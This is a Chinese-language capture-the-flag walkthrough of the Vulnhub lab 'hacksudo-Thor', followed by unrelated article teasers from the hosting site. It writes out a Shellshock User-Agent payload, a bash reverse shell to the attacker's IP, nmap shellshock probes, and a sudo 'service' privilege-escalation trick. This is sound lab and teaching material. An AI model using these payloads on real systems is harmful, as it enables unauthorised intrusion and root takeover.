Vulnhub靶机:hacksudo-Thor

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo-Thor(10.0.2.49)

目标:获取靶机root权限和flag

靶机下载地址:https://download.vulnhub.com/hacksudo/hacksudo—Thor.zip

二、信息收集

使用nmap主机发现靶机ip:10.0.2.49

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:21、22、80

在这里插入图片描述

打开网站发现是一个登录页面

在这里插入图片描述

使用gobuster和dirsearch工具对该网站进行目录爆破,发现两个页面/admin_login.php、/README.md

gobuster dir -u http://10.0.2.49 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtdirsearch -u http://10.0.2.49 /usr/share/wordlists/dirb/big.txt

在这里插入图片描述
在这里插入图片描述

/README.md文件发现默认用户名密码:admin:password123

在这里插入图片描述

我们尝试登录后台,登录成功

在这里插入图片描述

三、漏洞利用

在后台发现一些用户名密码,可以尝试登录ssh,但都失败

jon:snow123
zakee94:nafees123
salman:salman123
tushar:tushar123

网站的后台未发现文件上传或命令执行的功能点,尝试抓包,使用sqlmap把数据交互的地方都跑一遍,发现在搜索客户的功能点处存在sql时间盲注

在这里插入图片描述
在这里插入图片描述

但翻了一翻数据库未发现什么有用的信息

好吧,看了一下其他大佬的wp,该网站存在破壳漏洞,这个漏洞还没有遇到过

破壳漏洞成因:bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。以下产品和模块可能会被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模块,DHCP客户端等。

使用dirsearch工具扫描cgi和sh后缀的文件

dirsearch -u http://10.0.2.49/cgi-bin/ -f -e cgi,sh

在这里插入图片描述

发现/cgi-bin/backup.cgi/cgi-bin/shell.sh

使用nmap脚本进行破壳漏洞探测,发现backup.cgi存在破壳漏洞

nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 10.0.2.49

在这里插入图片描述

使用nmap脚本进行破壳漏洞探测,发现shell.sh也存在破壳漏洞

nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 10.0.2.49

在这里插入图片描述

在User-Agent添加破壳漏洞的payload,执行命令

() { test;};echo; echo shellshock;/bin/bash -c 'id'

在这里插入图片描述

反弹shell

() { test;};echo; echo shellshock;/bin/bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'

在这里插入图片描述

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

四、提权

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以thor权限运行hammer.sh脚本在这里插入图片描述

运行/home/thor/./hammer.sh脚本,发现输入shell命令,该脚本会直接执行

sudo -u thor /home/thor/./hammer.sh

在这里插入图片描述

直接获取thor用户的shell

bash -p
python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

使用sudo -l命令查看一下thor用户具有sudo权限的程序,发现可以无密码以root权限运行cat命令和service命令

在这里插入图片描述

搜索这些命令的用法service | GTFOBins,发现service命令可以直接获取shell

sudo service ../../bin/sh

在这里插入图片描述

获取flag

在这里插入图片描述
在这里插入图片描述

参考链接:vulnhub靶场-hacksudo - Thor_靶机信息:39.104.60.50:18634-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/676890.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【JAVA WEB】 css背景属性 圆角矩形的绘制

目录 背景属性设置 圆角矩形 背景属性设置 背景颜色,在style中 background-color:颜色; 背景图片 background-image:url(……) 背景图片的平铺方式 background-repeat: 平铺方式 repeat 平铺(默认)no-repeat 不平铺repeat-x 水平平铺repea…

推荐一款开源的跨平台划词翻译和OCR翻译软件:Pot

Pot简介 一款开源的跨平台划词翻译和OCR翻译软件 下载安装指南 根据你的机器型号下载对应版本,下载完成后双击安装即可。 使用教程 Pot具体功能如下: 划词翻译输入翻译外部调用鼠标选中需要翻译的文本,按下设置的划词翻译快捷键即可按下输…

跨域--浏览器与服务器通信过程中出现跨域问题

一、跨域产生的原因 浏览器和服务器的协议、域名、端口号只要有一个不一致,就会产生跨域错误。 服务器和服务器进行数据通信时,如果三要素不一致,也不会产生跨域错误。 跨域的限制是浏览器的限制,与服务器无关。 跨域是一个安全策…

HiveSQL——共同使用ip的用户检测问题【自关联问题】

注:参考文章: SQL 之共同使用ip用户检测问题【自关联问题】-HQL面试题48【拼多多面试题】_hive sql 自关联-CSDN博客文章浏览阅读810次。0 问题描述create table log( uid char(10), ip char(15), time timestamp);insert into log valuesinsert into l…

Gradle IDEA 乱码

文章目录 环境代码测试结果配置 JAVA_TOOL_OPTIONS配置 build.gradle.kts配置 idea64.exe.vmoptions无配置 总结问题链接 环境 Java 环境 java version "21.0.2" 2024-01-16 LTS Java(TM) SE Runtime Environment (build 21.0.213-LTS-58) Java HotSpot(TM) 64-Bit…

MySQL进阶查询篇(7)-触发器的创建和使用

MySQL数据库触发器的创建和使用 触发器(Trigger)是MySQL数据库中非常强大且有用的功能,它可以在特定的数据库事件发生时自动执行一段预定义的代码。触发器可以用于实现数据完整性约束、自动化业务逻辑、审计日志等功能。本文将介绍MySQL数据库中触发器的创建和使用…

秒杀相关问题解决

秒杀 超卖问题 如下,我们先来复现问题,抢购秒杀券的代码逻辑也是很简单, 先判断优惠券是否开始了,是的化,判断库存是否充足,如果是的化,扣减库存,最后创建订单 如下是代码 Override Transactional public Result seckillVoucher(Long voucherId) {//1.查询优惠券SeckillVo…

平台工程是 FinOps 的“黄金路径”

云成本催生出了各种工具集。这些工具集目前主要用于现代 IT 堆栈,以加强资源、减少浪费、优化已确定的效率,并在最高、最广和最广泛的层面上监控系统的运行状况。 在云计算环境中,MLOps 实践的兴起旨在使软件工程与运维工程保持一致&#xff…

Linux 命令行的世界 :3.探索操作系统

既然我们已经知道了如何在文件系统中跳转,是时候开始 Linux 操作系统之旅了。然而在开始之前,我们先学习一些对研究Linux 系统有帮助的命令。 ls —列出目录内容 file —确定文件类型 less —浏览文件内容 ls 可能是用户最常使用的命令了,这…

double精度丢失问题

前言 在Java中,使用double类型时可能会遇到精度丢失的问题。这是由于double类型是一种浮点数类型,在表示某些小数时可能会存在精度损失。这种情况通常是由于浮点数的二进制表示法无法准确地表示某些十进制小数,导致精度丢失。 为了避免这种问…

C#使用哈希表对XML文件进行查询

目录 一、使用的方法 1.Hashtable哈希表 2.Hashtable哈希表的Add方法 (1)定义 (2)示例 3.XML文件的使用 二、实例 1.源码 2.生成效果 可以通过使用哈希表可以对XML文件进行查询。 一、使用的方法 1.Hashtable哈希表…

MySQL基础查询篇(9)-数学函数在查询中的应用

在MySQL数据库中,数学函数在查询中扮演了非常重要的角色。这些函数可以帮助我们进行各种数学计算和处理,使得我们能够更有效地处理和分析数据。本文将介绍一些常用的MySQL数学函数及其在查询中的应用。 1. ABS函数 ABS函数用于返回一个数值的绝对值。在…

证明之黄金分割比的无理性

黄金分割比的无理性 “黄金分割比的神奇之处:视觉化证明与数学的魅力” 人们在学习高等数学时,走到一个证明的结尾处,通常会经历这样的思考:“我理解每一行是怎样由前一行得到的,但是我却不明白为什么这个定理是正确…

【北邮鲁鹏老师计算机视觉课程笔记】01 introduction

1 生活中的计算机视觉 生活中的各种计算机视觉识别系统已经广泛地应用起来了。 2 计算机视觉与其他学科的关系 认知科学和神经科学是研究人类视觉系统的,如果能把人类视觉系统学习得更好,可以迁移到计算机视觉。是计算机视觉的理论基础。 算法、系统、框…

Sodinokibi(REvil)勒索病毒最新变种,攻击Linux平台

前言 国外安全研究人员爆光了一个Linux平台上疑似Sodinokibi勒索病毒家族最新样本,如下所示: Sodinokibi(REvil)勒索病毒的详细分析以及资料可以参考笔者之前的一些文章,这款勒索病毒黑客组织此前一直以Windows平台为主要的攻击目标&#xf…

c语言--指针运算

目录 一、指针-整数二、指针-指针2.1条件2.2两个指针指向同一块空间代码2.2.1运行结果 2.3两个指针指向不同块空间代码2.3.1运行结果 2.4总结 三、指针的关系运算3.1代码3.1.1运行结果3.1.2分析 一、指针整数 用数组举例: 因为数组在内存中是连续存放的&#xff0c…

Git版本与分支

目录 一、Git 二、配置SSH 1.什么是SSH Key 2.配置SSH Key 三、分支 1.为什么要使用分支 2.四个环境及特点 3.实践操作 1.创建分支 2.查看分支 3.切换分支 4.合并分支 5.删除分支 6.重命名分支 7.推送远程分支 8.拉取远程分支 9.克隆指定分支 四、版本 1.什…

2 scala集合-元组和列表

1 元组 元组也是可以存放不同数据类型的元素,并且最重要的是,元组中的元素是不可变的。 例如,定义一个元组,包含字符串 hello,数字 20。如果试图把数字 20 修改为 1,则会报错。 scala> var a ("…

IOS破解软件安装教程

对于很多iOS用户而言,获取软件的途径显得较为单一,必须通过App Store进行下载安装。 这样的限制,时常让人羡慕安卓系统那些自由下载各类版本软件的便捷。 心中不禁生出疑问:难道iOS世界里,就不存在所谓的“破解版”软件…

Python 字符串模块

Python字符串模块 它是一个内置模块,我们在使用其常量和类之前必须导入它。 字符串模块常量 让我们看看字符串模块中定义的常量。 import string# 字符串模块常量 print(string.ascii_letters) print(string.ascii_lowercase) print(string.ascii_uppercase) pr…